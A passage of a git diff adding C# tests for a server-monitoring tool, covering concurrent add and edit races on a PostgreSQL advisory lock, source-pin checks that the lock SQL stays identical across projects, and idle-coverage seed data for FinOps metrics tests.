+                    await held.DisposeAsync();
+                }
+
+                await holder.DisposeAsync();
+            });
+        }
+    }
+
+    /// <param name="viewerFirst">Whose write queues on the lock first, and so wins it: the viewer's add (the MCP edit's
+    /// re-check then refuses), or the MCP edit (the VIEWER's re-check then refuses the add).</param>
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task AViewerAddAndAnMcpEditThatClaimOneAddress_QueueOnTheLock_AndTheSecondToQueueIsRefused(bool viewerFirst)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+        await SeedServerAsync(rig.Owner, 7341, "race-x", "race-x.example.test", ct);
+
+        Func<Task<string>> viewerAdd = async () => (await viewer.AddMonitoredServerAsync(
+            ViewerRow(ViewerDataService.ComputeServerId(AddressK, null, false), "viewer-added", AddressK), ct)).Outcome.ToString();
+        Func<Task<string>> mcpEdit = async () => Parse(await Edit.EditServerByNameAsync(
+            rig.Owner, "race-x", "{\"host\":\"" + AddressK + "\"}", ReachedAtOnce, TestKeyRings.Healthy, null, ct))["status"]!.GetValue<string>();
+
+        var race = viewerFirst
+            ? await QueuedRaceAsync(rig, viewerAdd, mcpEdit, ct)
+            : await QueuedRaceAsync(rig, mcpEdit, viewerAdd, ct);
+
+        if (viewerFirst)
+        {
+            Assert.Equal(nameof(MonitoredServerAddOutcome.Added), race.FirstAnswer);
+            Assert.Equal("collides", race.SecondAnswer);
+        }
+        else
+        {
+            Assert.Equal("updated", race.FirstAnswer);
+            Assert.Equal(nameof(MonitoredServerAddOutcome.Duplicate), race.SecondAnswer);
+        }
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(keys.Count, keys.Distinct(StringComparer.OrdinalIgnoreCase).Count());
+        Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(viewerFirst ? 2 : 1, keys.Count);
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both the viewer's add and the MCP edit should have queued behind the held identity lock.");
+    }
+
+    /// <param name="viewerFirst">Whose write queues on the lock first, and so wins it: the viewer's edit (the MCP add's
+    /// re-check then answers duplicate), or the MCP add (the VIEWER's re-check then refuses the edit).</param>
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task AViewerEditAndAnMcpAddThatClaimOneAddress_QueueOnTheLock_AndTheSecondToQueueIsRefused(bool viewerFirst)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+        await SeedServerAsync(rig.Owner, 7351, "race-x", "race-x.example.test", ct);
+
+        Func<Task<string>> viewerEdit = () => ViewerEditAsync(viewer, ViewerRow(7351, "race-x", AddressK), ct);
+        Func<Task<string>> mcpAdd = async () => AddStatusOf(await Edit.AddServersAsync(rig.Owner, AddJson(AddressK), ReachedAtOnce, ct));
+
+        var race = viewerFirst
+            ? await QueuedRaceAsync(rig, viewerEdit, mcpAdd, ct)
+            : await QueuedRaceAsync(rig, mcpAdd, viewerEdit, ct);
+
+        if (viewerFirst)
+        {
+            Assert.Equal("Updated", race.FirstAnswer);
+            Assert.Equal("duplicate", race.SecondAnswer);
+        }
+        else
+        {
+            Assert.Equal("added", race.FirstAnswer);
+            Assert.Equal("Claimed", race.SecondAnswer);
+        }
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(keys.Count, keys.Distinct(StringComparer.OrdinalIgnoreCase).Count());
+        Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(viewerFirst ? 1 : 2, keys.Count);
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both the viewer's edit and the MCP add should have queued behind the held identity lock.");
+    }
+
+    [Fact]
+    public async Task TwoViewerEditsThatMoveTwoServersOntoOneAddress_QueueOnTheLock_AndTheSecondToQueueIsRefused()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+        await SeedServerAsync(rig.Owner, 7361, "race-x", "race-x.example.test", ct);
+        await SeedServerAsync(rig.Owner, 7362, "race-y", "race-y.example.test", ct);
+
+        var race = await QueuedRaceAsync(rig,
+            () => ViewerEditAsync(viewer, ViewerRow(7361, "race-x", AddressK), ct),
+            () => ViewerEditAsync(viewer, ViewerRow(7362, "race-y", AddressK), ct),
+            ct);
+
+        Assert.Equal("Updated", race.FirstAnswer);
+        Assert.Equal("Claimed", race.SecondAnswer);
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(2, keys.Count);
+        Assert.Equal(keys.Count, keys.Distinct(StringComparer.OrdinalIgnoreCase).Count());
+        Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both viewer edits should have queued behind the held identity lock.");
+    }
+
+    /// <summary>The viewer's insert-if-absent (the migrate-in's old write) is an identity write too: an address an edit
+    /// left a definition at, under an older id, is refused (false, nothing written); a free address is written.</summary>
+    [Fact]
+    public async Task TheViewersInsertIfAbsent_RefusesAnAddressHeldUnderAnotherId_AndWritesAFreeOne()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+        await SeedServerAsync(rig.Owner, 7391, "moved", AddressK, ct);
+
+        Assert.False(await viewer.InsertMonitoredServerIfAbsentAsync(
+            ViewerRow(ViewerDataService.ComputeServerId(AddressK, null, false), "again", AddressK), ct));
+        Assert.True(await viewer.InsertMonitoredServerIfAbsentAsync(
+            ViewerRow(ViewerDataService.ComputeServerId("free.example.test", null, false), "free", "free.example.test"), ct));
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(2, keys.Count);
+        Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+        Assert.Single(keys, key => key.Contains("free.example.test", StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, true, ct) + await AdvisoryLocksAsync(rig.Owner, false, ct));
+    }
+
+    [Fact]
+    public async Task AViewerAddAndAViewerEditOnDifferentAddresses_BothSucceed_AfterQueueingOnTheLock()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+        await SeedServerAsync(rig.Owner, 7371, "race-x", "race-x.example.test", ct);
+
+        var race = await QueuedRaceAsync(rig,
+            async () => (await viewer.AddMonitoredServerAsync(
+                ViewerRow(ViewerDataService.ComputeServerId("race-added.example.test", null, false), "viewer-added", "race-added.example.test"), ct)).Outcome.ToString(),
+            () => ViewerEditAsync(viewer, ViewerRow(7371, "race-x", "race-moved.example.test"), ct),
+            ct);
+
+        Assert.Equal(nameof(MonitoredServerAddOutcome.Added), race.FirstAnswer);
+        Assert.Equal("Updated", race.SecondAnswer);
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(2, keys.Count);
+        Assert.Single(keys, key => key.Contains("race-added.example.test", StringComparison.OrdinalIgnoreCase));
+        Assert.Single(keys, key => key.Contains("race-moved.example.test", StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both the viewer's add and its edit should have queued behind the held identity lock.");
+    }
+
+    /// <summary>
+    /// The startup seed's INSERT loop takes the identity lock, and reads the addresses again under it. The lock is held
+    /// from a second connection; the seed (two servers from darling.json, the second at address K) queues behind it and
+    /// writes nothing while it waits; the holder then commits a definition that an edit would have left at K under
+    /// another id, and releases the lock. The seed's own INSERT for K would land under <c>hash(K)</c>, a different id,
+    /// so nothing but the re-read keeps the registry at one row for K.
+    /// </summary>
+    [Fact]
+    public async Task TheStartupSeed_QueuesOnTheLock_WritesNothingWhileItWaits_AndSkipsAnAddressClaimedMeanwhile()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+
+        var config = new DarlingConfig();
+        config.Servers.Add(new MonitoredServer { Name = "seed-a", Host = "seed-a.example.test", Auth = "integrated" });
+        config.Servers.Add(new MonitoredServer { Name = "seed-k", Host = AddressK, Auth = "integrated" });
+        var provider = new StoreConfigProvider(rig.Owner);
+
+        var holder = new NpgsqlConnection(rig.OwnerString);
+        NpgsqlTransaction? held = null;
+        var bodySucceeded = false;
+        try
+        {
+            await holder.OpenAsync(ct);
+            held = await holder.BeginTransactionAsync(ct);
+            await using (var take = new NpgsqlCommand(Edit.IdentityLockSql, holder, held))
+            {
+                await take.ExecuteNonQueryAsync(ct);
+            }
+
+            var seed = Task.Run(() => provider.SeedIfEmptyAsync(config, ct), ct);
+            Assert.True(
+                await WaitUntilAsync(async () => await AdvisoryLocksAsync(rig.Owner, false, ct) >= 1, TimeSpan.FromSeconds(30), ct),
+                "The seed should queue behind the held identity lock.");
+            Assert.Equal(0, await CountAsync(rig.Owner, "SELECT count(*) FROM config_monitored_servers", ct));
+
+            /* The definition an edit left at K under an older id, committed in the lock's own transaction. */
+            await using (var claim = new NpgsqlCommand(
+                $@"INSERT INTO config_monitored_servers (server_id, name, host, auth, excluded_databases, is_enabled, monthly_cost_usd)
+                   VALUES (7381, 'mover', '{AddressK}', 'integrated', ARRAY[]::text[], TRUE, 0)", holder, held))
+            {
+                await claim.ExecuteNonQueryAsync(ct);
+            }
+
+            await held.CommitAsync(ct);
+            await seed.WaitAsync(TimeSpan.FromSeconds(60), ct);
+
+            var keys = await StorageKeysAsync(rig.Owner, ct);
+            Assert.Equal(2, keys.Count);
+            Assert.Equal(keys.Count, keys.Distinct(StringComparer.OrdinalIgnoreCase).Count());
+            Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+            Assert.Single(keys, key => key.Contains("seed-a.example.test", StringComparison.OrdinalIgnoreCase));
+            Assert.Equal(1, await CountAsync(rig.Owner, "SELECT count(*) FROM config_monitored_servers WHERE server_id = 7381 AND name = 'mover'", ct));
+            Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, true, ct) + await AdvisoryLocksAsync(rig.Owner, false, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, async () =>
+            {
+                if (held is not null)
+                {
+                    await held.DisposeAsync();
+                }
+
+                await holder.DisposeAsync();
+            });
+        }
+    }
+
+    /* ---------------- the database the probe reached (#5240, round 1) ----------------
+       An edit or add that names no database is probed, and the probe says which database the connection reached. The
+       check before the write compares that database's key with the keys read BEFORE the probe; a definition committed
+       DURING the probe was invisible to it. The write is handed the same key and compares it under the lock. */
+
+    private const string AddressH = "race-h.example.test";
+
+    private static ConnectionProbeResult ReachedDatabase(string database) => Reached with { ConnectedDatabase = database };
+
+    private static string KeyOfHostAndDatabase(string host, string database) =>
+        Edit.ParseRequest("[{\"host\":\"" + host + "\",\"database\":\"" + database + "\"}]").Entries.Single().StorageKey;
+
+    /// <summary>
+    /// An edit whose probe lands in database X while a second writer (a real add) commits H/X during that probe is
+    /// refused under the lock with the same <c>collides</c> answer the check before the write gives, and the table is
+    /// left as the second writer made it. The edit that keeps its address (a changed certificate setting) is the case
+    /// the address re-check never covered: it handed the write no key at all.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AnEditWhoseProbeLandsInADatabaseASecondWriterTookMeanwhile_IsRefusedUnderTheLock_AndSavesNothing(bool movesTheAddress)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var originalHost = movesTheAddress ? "race-h-old.example.test" : AddressH;
+        await SeedServerAsync(rig.Owner, 7401, "race-a", originalHost, ct);
+
+        var secondWriter = "";
+        Edit.ServerProbe probe = async (_, probeToken) =>
+        {
+            secondWriter = await Edit.AddServersAsync(
+                rig.Owner, "[{\"host\":\"" + AddressH + "\",\"database\":\"X\"}]", ReachedAtOnce, probeToken);
+            return ReachedDatabase("X");
+        };
+
+        var changes = movesTheAddress ? "{\"host\":\"" + AddressH + "\"}" : "{\"trust_server_certificate\":true}";
+        var answer = Parse(await Edit.EditServerByNameAsync(rig.Owner, "race-a", changes, probe, TestKeyRings.Healthy, null, ct));
+
+        Assert.Equal("added", AddStatusOf(secondWriter));
+        Assert.Equal("collides", answer["status"]!.GetValue<string>());
+        var message = answer["message"]!.GetValue<string>();
+        Assert.StartsWith("Not saved:", message, StringComparison.Ordinal);
+        Assert.Contains("lands in 'X'", message, StringComparison.Ordinal);
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(2, keys.Count);
+        Assert.Single(keys, key => string.Equals(key, KeyOfHostAndDatabase(AddressH, "X"), StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(1, await CountAsync(rig.Owner,
+            "SELECT count(*) FROM config_monitored_servers WHERE server_id = 7401 AND host = '" + originalHost + "' AND database IS NULL AND trust_server_certificate = FALSE", ct));
+        Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, true, ct) + await AdvisoryLocksAsync(rig.Owner, false, ct));
+    }
+
+    /// <summary>The add's twin of the edit fact above: the add names no database, its probe lands in X, and a second
+    /// writer commits H/X during the probe. The add is refused under the lock as <c>collides</c> and writes nothing; only
+    /// the second writer's definition collects X.</summary>
+    [Fact]
+    public async Task AnAddWhoseProbeLandsInADatabaseASecondWriterTookMeanwhile_IsRefusedUnderTheLock_AndSavesNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+
+        var secondWriter = "";
+        Edit.ServerProbe probe = async (_, probeToken) =>
+        {
+            secondWriter = await Edit.AddServersAsync(
+                rig.Owner, "[{\"host\":\"" + AddressH + "\",\"database\":\"X\"}]", ReachedAtOnce, probeToken);
+            return ReachedDatabase("X");
+        };
+
+        var answer = await Edit.AddServersAsync(rig.Owner, AddJson(AddressH), probe, ct);
+
+        Assert.Equal("added", AddStatusOf(secondWriter));
+        Assert.Equal("collides", AddStatusOf(answer));
+        var detail = Parse(answer)["results"]![0]!["detail"]!.GetValue<string>();
+        Assert.StartsWith("Not added:", detail, StringComparison.Ordinal);
+        Assert.Contains("lands in 'X'", detail, StringComparison.Ordinal);
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Single(keys);
+        Assert.Equal(KeyOfHostAndDatabase(AddressH, "X"), keys[0], StringComparer.OrdinalIgnoreCase);
+        Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, true, ct) + await AdvisoryLocksAsync(rig.Owner, false, ct));
+    }
+
+    /// <summary>The control for the two refusals above: a probe that lands in a database nobody holds is saved, for an
+    /// add (stored under its declared key) and for an edit, so the re-check under the lock refuses only a database that
+    /// another definition really took.</summary>
+    [Fact]
+    public async Task AProbeThatLandsInADatabaseNobodyHolds_IsNotRefused_ForAnAddOrAnEdit()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        Edit.ServerProbe probe = (_, _) => Task.FromResult(ReachedDatabase("X"));
+
+        Assert.Equal("added", AddStatusOf(await Edit.AddServersAsync(rig.Owner, AddJson(AddressH), probe, ct)));
+        var edit = Parse(await Edit.EditServerByNameAsync(rig.Owner, AddressH, "{\"trust_server_certificate\":true}", probe, TestKeyRings.Healthy, null, ct));
+        Assert.Equal("updated", edit["status"]!.GetValue<string>());
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Single(keys);
+        Assert.Equal(1, await CountAsync(rig.Owner,
+            "SELECT count(*) FROM config_monitored_servers WHERE host = '" + AddressH + "' AND database IS NULL AND trust_server_certificate = TRUE", ct));
+    }
+}
diff --git a/Darling/Darling.Tests/ServerIdentityLockSourcePinTests.cs b/Darling/Darling.Tests/ServerIdentityLockSourcePinTests.cs
new file mode 100644
index 0000000000..525d654ccc
--- /dev/null
+++ b/Darling/Darling.Tests/ServerIdentityLockSourcePinTests.cs
@@ -0,0 +1,203 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer takes the same server identity lock as the web and MCP writers (#5240, PR 2), and these facts
+/// hold the parts of that a live race cannot: the viewer's COPY of the lock text is the service's text, each
+/// identity write takes the lock first, in the transaction that writes, and the Add/Edit dialog shows a refused
+/// (claimed) address as an expected refusal rather than an error. The live facts are in
+/// <see cref="ServerIdentityLockLiveTests"/>; these run without a store.
+///
+/// <para>The Viewer project cannot reference the service, so <see cref="ViewerDataService.MonitoredServerIdentityLockSql"/>
+/// is a copy of <c>DarlingMcpServerAdminTools.IdentityLockSql</c>. A copy that drifted would take a different advisory
+/// key and serialise with nothing, and every write in the viewer would look locked while racing the web and MCP
+/// writers freely.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ServerIdentityLockSourcePinTests
+{
+    private static readonly Regex LockLiteral = new(
+        @"const\s+string\s+\w*IdentityLock\w*Sql\s*=\s*""(?<text>[^""]*)""",
+        RegexOptions.CultureInvariant);
+
+    private static string ServiceSource() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpServerAdminTools.cs");
+
+    private static string ViewerSource() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.MonitoredServers.cs");
+
+    private static string StoreConfigSource() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "StoreConfigProvider.cs");
+
+    private static string DialogSource() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddServerDialog.xaml.cs");
+
+    /// <summary>The text between two markers, which must both be there and in that order.</summary>
+    private static string Between(string source, string startMarker, string endMarker)
+    {
+        var start = source.IndexOf(startMarker, StringComparison.Ordinal);
+        Assert.True(start >= 0, "missing: " + startMarker);
+        var end = source.IndexOf(endMarker, start + startMarker.Length, StringComparison.Ordinal);
+        Assert.True(end > start, "missing, or not after the start: " + endMarker);
+        return source[start..end];
+    }
+
+    /// <summary>Asserts each needle is in <paramref name="body"/>, in the order given.</summary>
+    private static void AssertInOrder(string body, params string[] needles)
+    {
+        var at = -1;
+        foreach (var needle in needles)
+        {
+            var found = body.IndexOf(needle, at + 1, StringComparison.Ordinal);
+            Assert.True(found > at, "expected, after the step before it: " + needle);
+            at = found;
+        }
+    }
+
+    [Fact]
+    public void TheViewersLockText_IsTheServicesLockText_InSourceAndAsCompiled()
+    {
+        var service = LockLiteral.Match(ServiceSource());
+        var viewer = LockLiteral.Match(ViewerSource());
+
+        /* Positive control: both declarations are found, so an empty equals-empty cannot pass. */
+        Assert.True(service.Success, "the service's lock constant was not found in DarlingMcpServerAdminTools.cs");
+        Assert.True(viewer.Success, "the viewer's lock constant was not found in ViewerDataService.MonitoredServers.cs");
+        Assert.Contains("pg_advisory_xact_lock", service.Groups["text"].Value, StringComparison.Ordinal);
+
+        Assert.Equal(service.Groups["text"].Value, viewer.Groups["text"].Value);
+        Assert.Equal(DarlingMcpServerAdminTools.IdentityLockSql, ViewerDataService.MonitoredServerIdentityLockSql);
+    }
+
+    [Fact]
+    public void TheViewersAdd_TakesTheLockAndReadsTheAddressesFirst_ThenInsertsAndCommitsInOneTransaction()
+    {
+        var body = Between(
+            ViewerSource(),
+            "public async Task<MonitoredServerAddResult> AddMonitoredServerAsync(",
+            "public static MonitoredServerAddOutcome ClassifyAddAgainstOccupant(");
+
+        AssertInOrder(
+            body,
+            "BeginTransactionAsync(",
+            "TakeIdentityLockAndFindClaimantAsync(",
+            "MonitoredServerAddOutcome.Duplicate",
+            "new NpgsqlCommand(MonitoredServerInsertIfAbsentSql, connection, transaction)",
+            "CommitAsync(");
+        Assert.DoesNotContain("_dataSource.CreateCommand(", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheViewersEdit_TakesTheLockAndReadsTheOtherAddressesFirst_ThenUpsertsAndCommitsInOneTransaction()
+    {
+        var body = Between(
+            ViewerSource(),
+            "public async Task UpsertMonitoredServerAsync(",
+            "private static string StorageKeyOf(MonitoredServerRow row)");
+
+        AssertInOrder(
+            body,
+            "BeginTransactionAsync(",
+            "TakeIdentityLockAndFindClaimantAsync(connection, transaction, row, row.ServerId, cancellationToken)",
+            "throw new MonitoredServerAddressClaimedException(",
+            "new NpgsqlCommand(MonitoredServerUpsertSql, connection, transaction)",
+            "CommitAsync(");
+        Assert.DoesNotContain("_dataSource.CreateCommand(", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A claimed address is an expected refusal of the dialog's save, like a read-only seat or a schema skew: the
+    /// dialog shows the exception's message as it is and logs nothing at error level. Without its own catch the
+    /// save handler's catch-all would prefix the message with "Error saving server:" and log an error for what is
+    /// the identity lock working as designed.
+    /// </summary>
+    [Fact]
+    public void TheDialogsSaveHandler_CatchesAClaimedAddressBeforeTheGeneralCatch_ShowsItAsIs_AndLogsNothing()
+    {
+        var handler = Between(
+            DialogSource(),
+            "private async void SaveButton_Click(",
+            "private async void TestConnectionButton_Click(");
+
+        /* The type has its own catch ahead of the catch-all, and the catch-all is still where the error is logged:
+           the positive control that makes "this catch logs nothing" mean something. */
+        AssertInOrder(
+            handler,
+            "catch (MonitoredServerAddressClaimedException ex)",
+            "catch (Exception ex)",
+            "ViewerLogger.Error(");
+
+        /* The claimed-address catch's own block, as code: comments and literal text blanked, so its explanation
+           cannot satisfy or trip the checks below. */
+        var claimedCatch = Between(handler, "catch (MonitoredServerAddressClaimedException ex)", "catch (Exception ex)");
+        var code = CSharpSourceWalker.StripCommentsAndStrings(claimedCatch);
+
+        AssertInOrder(code, "StatusText.Text = ex.Message;", "SaveButton.IsEnabled = true;");
+        Assert.Empty(CSharpSourceWalker.StringLiteralBodies(claimedCatch));
+        Assert.DoesNotContain("ViewerLogger", code, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheViewersInsertIfAbsent_IsAnIdentityWriteToo_LockFirstThenInsertInOneTransaction()
+    {
+        var body = Between(
+            ViewerSource(),
+            "public async Task<bool> InsertMonitoredServerIfAbsentAsync(",
+            "public async Task<MonitoredServerAddResult> AddMonitoredServerAsync(");
+
+        AssertInOrder(
+            body,
+            "BeginTransactionAsync(",
+            "TakeIdentityLockAndFindClaimantAsync(connection, transaction, row, null, cancellationToken)",
+            "new NpgsqlCommand(MonitoredServerInsertIfAbsentSql, connection, transaction)",
+            "CommitAsync(");
+        Assert.DoesNotContain("_dataSource.CreateCommand(", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheViewersHelper_TakesTheLockBeforeItReadsAnyAddress_BothOnTheCallersTransaction()
+    {
+        var body = Between(
+            ViewerSource(),
+            "private static async Task<MonitoredServerRow?> TakeIdentityLockAndFindClaimantAsync(",
+            "public async Task<bool> InsertMonitoredServerIfAbsentAsync(");
+
+        AssertInOrder(
+            body,
+            "new NpgsqlCommand(MonitoredServerIdentityLockSql, connection, transaction)",
+            "new NpgsqlCommand(MonitoredServersSelectSql, connection, transaction)",
+            "StringComparison.OrdinalIgnoreCase");
+    }
+
+    [Fact]
+    public void TheStartupSeed_TakesTheSameLockFirst_ReadsTheHeldAddresses_ThenInsertsInOneTransaction()
+    {
+        var body = Between(
+            StoreConfigSource(),
+            "private static async Task SeedMonitoredServersAsync(",
+            "/* ---------------- read (store -> in-memory view) ---------------- */");
+
+        AssertInOrder(
+            body,
+            "BeginTransactionAsync(",
+            "DarlingMcpServerAdminTools.IdentityLockSql, connection, transaction",
+            "DarlingMcpServerAdminTools.ExistingServersSql, connection, transaction",
+            "heldAddresses.Add(server.StorageName)",
+            "INSERT INTO config_monitored_servers",
+            "ON CONFLICT (server_id) DO NOTHING\", connection, transaction)",
+            "CommitAsync(");
+    }
+}
diff --git a/Darling/Darling.Tests/ServerInventoryFleetMetricsLiveTests.cs b/Darling/Darling.Tests/ServerInventoryFleetMetricsLiveTests.cs
index c6b19d22bb..6380bd9e88 100644
--- a/Darling/Darling.Tests/ServerInventoryFleetMetricsLiveTests.cs
+++ b/Darling/Darling.Tests/ServerInventoryFleetMetricsLiveTests.cs
@@ -168,6 +168,15 @@ watermarkTarget on the first run of this test. */
         await InsertQueryStatsAsync(connection, ServerId, ServerName, "TailDb", watermarkTarget.AddMinutes(10), 2, ct);
         // NeverExecutedDb: no query_stats rows at all.
 
+        /* The idle coverage rule: 7 days of history and a sample on each complete UTC day before "now" (idleCutoff + 7 days, so
+           2020-06-01 through 2020-06-07). One zero-execution sample before the cutoff hour (read raw, as the rollup may not hold
+           it) and one at noon on each day; the days after the watermark are read raw, the first day from the rollup. */
+        await FinOpsIdleCoverageSeed.InsertAsync(connection, ct, ServerId, ServerName, idleCutoff.AddHours(-1), "oldest");
+        for (var day = 0; day < 7; day++)
+        {
+            await FinOpsIdleCoverageSeed.InsertAsync(connection, ct, ServerId, ServerName, anchorHour.Date.AddDays(day).AddHours(12), "day" + day);
+        }
+
         /* The "known databases" universe: one size snapshot per candidate, all at the SAME collection_time so
            the latest-snapshot join (exact timestamp equality) picks up every one of them together. */
         var snapshotTime = watermarkTarget.AddMinutes(20);
@@ -256,6 +265,7 @@ await ExecAsync(connection, "INSERT INTO servers (server_id, server_name) VALUES
         await InsertDatabaseSizeAsync(connection, ServerA, "old-new-A", "StaleDb", now.AddDays(-2), 9999, ct); // not latest — must be ignored
         await InsertQueryStatsAsync(connection, ServerA, "old-new-A", "AppDb1", now.AddDays(-2), 5, ct);
         // AppDb2: no executions -> idle.
+        await FinOpsIdleCoverageSeed.SeedAsync(connection, ct, ServerA, "old-new-A", now);
 
         // Server B: both databases active, no memory-grant evidence at all (grants CTE empty, must COALESCE to 0).
         await InsertCpuAsync(connection, ServerB, now.AddHours(-1), 20, ct);
@@ -265,14 +275,17 @@ await ExecAsync(connection, "INSERT INTO servers (server_id, server_name) VALUES
         await InsertDatabaseSizeAsync(connection, ServerB, "old-new-B", "Db2", now.AddMinutes(-15), 150, ct);
         await InsertQueryStatsAsync(connection, ServerB, "old-new-B", "Db1", now.AddDays(-1), 2, ct);
         await InsertQueryStatsAsync(connection, ServerB, "old-new-B", "Db2", now.AddDays(-6), 7, ct); // inside the 7d window
+        await FinOpsIdleCoverageSeed.SeedAsync(connection, ct, ServerB, "old-new-B", now);
 
         // Server C: both databases idle, no CPU/memory evidence at all (every left-joined CTE empty).
         await InsertDatabaseSizeAsync(connection, ServerC, "old-new-C", "Db1", now.AddMinutes(-45), 50, ct);
         await InsertDatabaseSizeAsync(connection, ServerC, "old-new-C", "Db2", now.AddMinutes(-45), 75, ct);
+        await FinOpsIdleCoverageSeed.SeedAsync(connection, ct, ServerC, "old-new-C", now);
 
         // Server D: low CPU and nothing else — the verdict every server with CPU samples kept: OVER_PROVISIONED.
         await InsertCpuAsync(connection, ServerD, now.AddHours(-1), 5, ct);
         await InsertCpuAsync(connection, ServerD, now.AddHours(-2), 7, ct);
+        await FinOpsIdleCoverageSeed.SeedAsync(connection, ct, ServerD, "old-new-D", now);
 
         await using var viewer = new ViewerDataService(scratch.ConnectionString);
         var metrics = await viewer.GetServerMetricsAsync(ct);
@@ -359,6 +372,10 @@ private static async Task<int> ReadIdleDbCountAsync(
         await using var command = dataSource.CreateCommand(sql);
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = idleCutoff }); // $1 cpu cutoff — unused by this test
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = idleCutoff }); // $2 idle cutoff
+        var now = idleCutoff.AddDays(7);
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = PerformanceMonitor.Darling.Storage.FinOps.DarlingFinOpsOptimizationReader.IdleCoverageStartUtc(now) }); // $3 first complete day
+        command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = PerformanceMonitor.Darling.Storage.FinOps.DarlingFinOpsOptimizationReader.IdleCoverageDays }); // $4 days
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = PerformanceMonitor.Darling.Storage.FinOps.DarlingFinOpsOptimizationReader.IdleCoverageEndUtc(now) }); // $5 today
         await using var reader = await command.ExecuteReaderAsync(ct);
         while (await reader.ReadAsync(ct))
         {
diff --git a/Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs b/Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs
index 15eb639f7f..7ea3aafe38 100644
--- a/Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs
+++ b/Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs
@@ -86,10 +86,15 @@ NULL through the outer LEFT JOIN (the bug the live parity test caught). */
         Assert.Contains("FILTER (WHERE ad.database_name IS NULL)", sql, StringComparison.Ordinal);
         Assert.Contains("delta_execution_count > 0", sql, StringComparison.Ordinal);
 
-        /* Only two binds now: cpu cutoff, idle cutoff — server_id is gone. */
+        /* Five binds: cpu cutoff, idle cutoff, the idle-coverage start, the days it must cover and the coverage end (today 00:00, exclusive) — server_id is gone. A server without
+           a query-stats sample on each of those days has no idle_dbs row, so its count is NULL (a dash), not a count from unwatched days. */
